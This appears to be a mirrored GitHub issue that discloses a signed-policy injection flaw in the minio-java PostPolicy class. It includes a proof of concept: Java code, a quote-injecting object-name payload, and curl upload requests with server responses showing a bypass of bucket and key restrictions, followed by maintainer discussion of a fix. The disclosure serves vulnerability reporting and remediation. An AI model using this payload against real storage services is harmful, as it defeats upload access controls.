question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

Minio-java library vulnerable to tampering signed policy conditions via PostPolicy objectname

See original GitHub issue

Amazon S3 supports HTTP POST requests so that users can upload content directly to Amazon S3 without having to pass data through a secure intermediary node. Those requests are signed by a web service together with security policy condition restrictions, such as the allowed bucket name where objects can be uploaded, content-types that are allowed and maximum file size allowed. Minio-java library supports handling that policy signing part.

Minio-java library is vulnerable of tampering of signed policy conditions via object filename parameter. The filename parameter has no input validation or any kind of output encoding when written as part of the soon-to-be-signed policy string. If an attacker can control the filename part of the policy (attachment name), they can add arbitrary policies by including " as part of the filename that escapes the filename value field. An attacker can then attempt to overwrite existing restricting policies by using different kind of techniques. As an example, they could try rewriting condition block by introducing a new one without same restrictions.

In Minio playground using MinioClient PostPolicy class by controlling the Policy’s filename parameter it was possible to upload arbitrary filename to an arbitrary bucket even thought the policy restrictions should have prevented it. Minio playground allows overwriting JSON policy conditions which makes the attack possible but it seems that AWS S3 has more validations that make performing the attack harder. AWS S3 has more validation checks of the signed policy, such as it does not allow unknown dictionary keys, and requires that there are no duplicate key elements.

Minio 7.1.4 (2020-09-24) is vulnerable, and so is Minio 8.1.0 (2021-02-18). Their API interface differs a bit, but the same issue anyway exists in both versions.

POC – The following example uses PostPolicy to sign a policy, that is later used for uploading a file to an arbitrary bucket (asdf) with arbitrary name (hax.txt).

Code snippet (PresignedPostPolicy.java):

import io.minio.MinioClient; // minio-7.1.4-all.jar
MinioClient minioClient =
          MinioClient.builder()
              .endpoint(https://play.min.io)
              .credentials("Q3AM3UQ867SPQQA43P2F", "zuf+tfteSlswRu7BJ86wekitnifILbZam1KYY3TG")
              .build();
String objectname = args[0]; // "hello.txt";
String bucket = "asdf";
PostPolicy policy = new PostPolicy(bucket, objectname, ZonedDateTime.now().plusDays(7));
policy.setContentType("plain/text");
policy.setSuccessActionStatus(201);

Compile & Execute:

/minio$ javac -cp minio-7.1.4-all.jar PresignedPostPolicy.java;
/minio$ java -cp minio-7.1.4-all.jar:. PresignedPostPolicy.java 'hello.txt"]],"conditions":[["eq","$success_action_status","201'
$ curl -X POST  -F bucket=asdf\
F x-amz>  -F x-amz-date=20210315T091621Z\
>  -F success_action_status=201\
>  -F x-amz-signature=2212314a14213ef9621f507fce8ff102fc5ee425444a30d0073575cc4542591b\
>  -F key=hello.txt"]],"conditions":[["eq","$success_action_status","201\
>  -F x-amz-algorithm=AWS4-HMAC-SHA256\
>  -F Content-Type=plain/text\
>  -F x-amz-credential=Q3AM3UQ867SPQQA43P2F/20210315/us-east-1/s3/aws4_request\
>  -F policy=eyJleHBpcmF0aW9uIjoiMjAyMS0wMy0yMlQwOToxNjoyMS4zMTBaIiwiY29uZGl0aW9ucyI6W1siZXEiLCIkYnVja2V0IiwiYXNkZiJdLFsiZXEiLCIka2V5IiwiaGVsbG8udHh0Il1dLCJjb25kaXRpb25zIjpbWyJlcSIsIiRzdWNjZXNzX2FjdGlvbl9zdGF0dXMiLCIyMDEiXSxbImVxIiwiJENvbnRlbnQtVHlwZSIsInBsYWluL3RleHQiXSxbImVxIiwiJHN1Y2Nlc3NfYWN0aW9uX3N0YXR1cyIsIjIwMSJdLFsiZXEiLCIkeC1hbXotYWxnb3JpdGhtIiwiQVdTNC1ITUFDLVNIQTI1NiJdLFsiZXEiLCIkeC1hbXotY3JlZGVudGlhbCIsIlEzQU0zVVE4NjdTUFFRQTQzUDJGLzIwMjEwMzE1L3VzLWVhc3QtMS9zMy9hd3M0X3JlcXVlc3QiXSxbImVxIiwiJHgtYW16LWRhdGUiLCIyMDIxMDMxNVQwOTE2MjFaIl1dfQ==\
>  -F file=@hello.txt https://play.min.io/asdf
<?xml version="1.0" encoding="UTF-8"?>
<PostResponse><Bucket>asdf</Bucket><Key>hello.txt]],conditions:[[eq,,201</Key><ETag>&#34;6f5902ac237024bdd0c176cb93063dc4&#34;</ETag><Location>https://play.min.io/asdf/hello.txt%5D%5D,conditions:%5B%5Beq,,201</Location></PostResponse>
$ curl -X POST  -F bucket=dada -F x-amz-date=20210315T091621Z -F success_action_status=201 -F x-amz-signature=2212314a14213ef9621f507fce8ff102fc5ee425444a30d0073575cc4542591b -F key=hax.txt -F x-amz-algorithm=AWS4-HMAC-SHA256 -F Content-Type=plain/text -F x-amz-credential=Q3AM3UQ867SPQQA43P2F/20210315/us-east-1/s3/aws4_request -F policy=eyJleHBpcmF0aW9uIjoiMjAyMS0wMy0yMlQwOToxNjoyMS4zMTBaIiwiY29uZGl0aW9ucyI6W1siZXEiLCIkYnVja2V0IiwiYXNkZiJdLFsiZXEiLCIka2V5IiwiaGVsbG8udHh0Il1dLCJjb25kaXRpb25zIjpbWyJlcSIsIiRzdWNjZXNzX2FjdGlvbl9zdGF0dXMiLCIyMDEiXSxbImVxIiwiJENvbnRlbnQtVHlwZSIsInBsYWluL3RleHQiXSxbImVxIiwiJHN1Y2Nlc3NfYWN0aW9uX3N0YXR1cyIsIjIwMSJdLFsiZXEiLCIkeC1hbXotYWxnb3JpdGhtIiwiQVdTNC1ITUFDLVNIQTI1NiJdLFsiZXEiLCIkeC1hbXotY3JlZGVudGlhbCIsIlEzQU0zVVE4NjdTUFFRQTQzUDJGLzIwMjEwMzE1L3VzLWVhc3QtMS9zMy9hd3M0X3JlcXVlc3QiXSxbImVxIiwiJHgtYW16LWRhdGUiLCIyMDIxMDMxNVQwOTE2MjFaIl1dfQ== -F file=@hello.txt https://play.min.io/dada
<?xml version="1.0" encoding="UTF-8"?>
<PostResponse><Bucket>dada</Bucket><Key>hax.txt</Key><ETag>&#34;6f5902ac237024bdd0c176cb93063dc4&#34;</ETag><Location>https://play.min.io/dada/hax.txt</Location></PostResponse>

Signed policy contains duplicate condition block where the later one overwrites the first one:

{
   "expiration":"2021-03-22T09:16:21.310Z",
   "conditions":[
      [
         "eq",
         "$bucket",
         "asdf"
      ],
      [
         "eq",
         "$key",
         "hello.txt"
      ]
   ],
   "conditions":[
      [
         "eq",
         "$success_action_status",
         "201"
      ],
      [
         "eq",
         "$Content-Type",
         "plain/text"
      ],
      [
         "eq",
         "$success_action_status",
         "201"
      ],
      [
         "eq",
         "$x-amz-algorithm",
         "AWS4-HMAC-SHA256"
      ],
      [
         "eq",
         "$x-amz-credential",
         "Q3AM3UQ867SPQQA43P2F/20210315/us-east-1/s3/aws4_request"
      ],
      [
         "eq",
         "$x-amz-date",
         "20210315T091621Z"
      ]
   ]
}

URLs: https://github.com/minio/minio-java/blob/7.1.4/api/src/main/java/io/minio/PostPolicy.java#L148 https://repo1.maven.org/maven2/io/minio/minio/

BR; Toni Huttunen, Fraktal

Issue Analytics

  • State:closed
  • Created 2 years ago
  • Comments:12 (6 by maintainers)

github_iconTop GitHub Comments

1reaction
balamuruganacommented, Mar 25, 2021

Using the official AWS SDK (Python boto3 version 1.17.34) as a reference (credentials/token censored):

>>> import boto3
>>> session = boto3.Session(profile_name='aws_dev')
>>> s3 = session.client('s3')
>>> key = 'test"]], "conditions": [["eq","$injected","test'
>>> policy = s3.generate_presigned_post('test-bucket', key)
>>> print(base64.b64decode(policy['fields']['policy']).decode('utf-8'))
{"expiration": "2021-03-25T10:36:44Z", "conditions": [{"bucket": "test-bucket"}, {"key": "test\"]], \"conditions\": [[\"eq\",\"$injected\",\"test"}, {"x-amz-algorithm": "AWS4-HMAC-SHA256"}, {"x-amz-credential": "..."}, {"x-amz-date": "20210325T093644Z"}, {"x-amz-security-token": "..."}]}

The key condition’s value is serialized using the standard JSON escaping rules. The key is not URL-encoded, like in #1175.

Given, the boto3 SDK seems to also be using an entirely different conditions structure ({"key": "..."} vs ["eq", "$key", ".."]) thinking

I see the actual issue is constructing the JSON manually in minio-java. Constructing a new map with all values as the spec and convert to a JSON data is the actual fix. Let me see anyone fixes that way.

1reaction
balamuruganacommented, Mar 25, 2021

policy.addEqualsCondition(“key”, objectname); Map<String, String> formData = minioClient.getPresignedPostFormData(policy);

Are you meaning that it is accepted feature that the minio-java library fails to safely handle “ characters as part of the addEqualsCondition parameter and it its receivers duty to detect this kind of tampering?

If objectname contains “ character, the library signs corrupted json string that will not work (in addition to a security issues mentioned before). End user should not be able to inject arbitrary policy fields into the policy by controlling single objectname value.

S3/playground can make some mitigations by JSON validation checks, e.g. ensure that the signature is in place, JSON has correct and recognized fields and is generally valid. However, if the signer product fails and allows end user to add policy conditions by injection, the service (S3/playground) can not distinguish the attack from the legit case.

We have three issues here.

  1. The AWS S3 specification is not clear about encoding value of an element. If specification is flawed, we cannot help it.
  2. The S3 object storage server/service supposes to handle properly on injected JSON.
  3. According to Signature V4 specification, it doesn’t care what we sign. Again it is a specification issue.

To keep these things in mind, feel free to send a fix.

Read more comments on GitHub >

github_iconTop Results From Across the Web

Java Client API Reference — MinIO Object Storage for Linux
Gets form-data of PostPolicy of an object to upload its data using POST method. Parameters. Parameter. Type. Description. policy.
Read more >
CVE - Search Results - MITRE
The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.
Read more >
Security Bulletin 20 Oct 2021
CVE Number Base Score Reference CVE‑2019‑1904 8.8 https://nvd.nist.gov/vuln/detail/CVE‑2019‑1904 CVE‑2020‑3205 8.8 https://nvd.nist.gov/vuln/detail/CVE‑2020‑3205 CVE‑2020‑3217 8.8 https://nvd.nist.gov/vuln/detail/CVE‑2020‑3217
Read more >
Fixed reported problems - IBM
1334, Policy Administration Point (PAP), This fix resolves an issue that caused a ... An unspecified vulnerability in Java SE related to the...
Read more >
Vulnerability Summary for the Week of October 11, 2021 | CISA
Primary Vendor ‑‑ Product Published CVSS Score adobe ‑‑ acrobat_reader 2021‑10‑15 not yet calculated adobe ‑‑ acrobat_reader 2021‑10‑15 not yet calculated adobe ‑‑ acrobat_reader 2021‑10‑15 not...
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

No results found

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found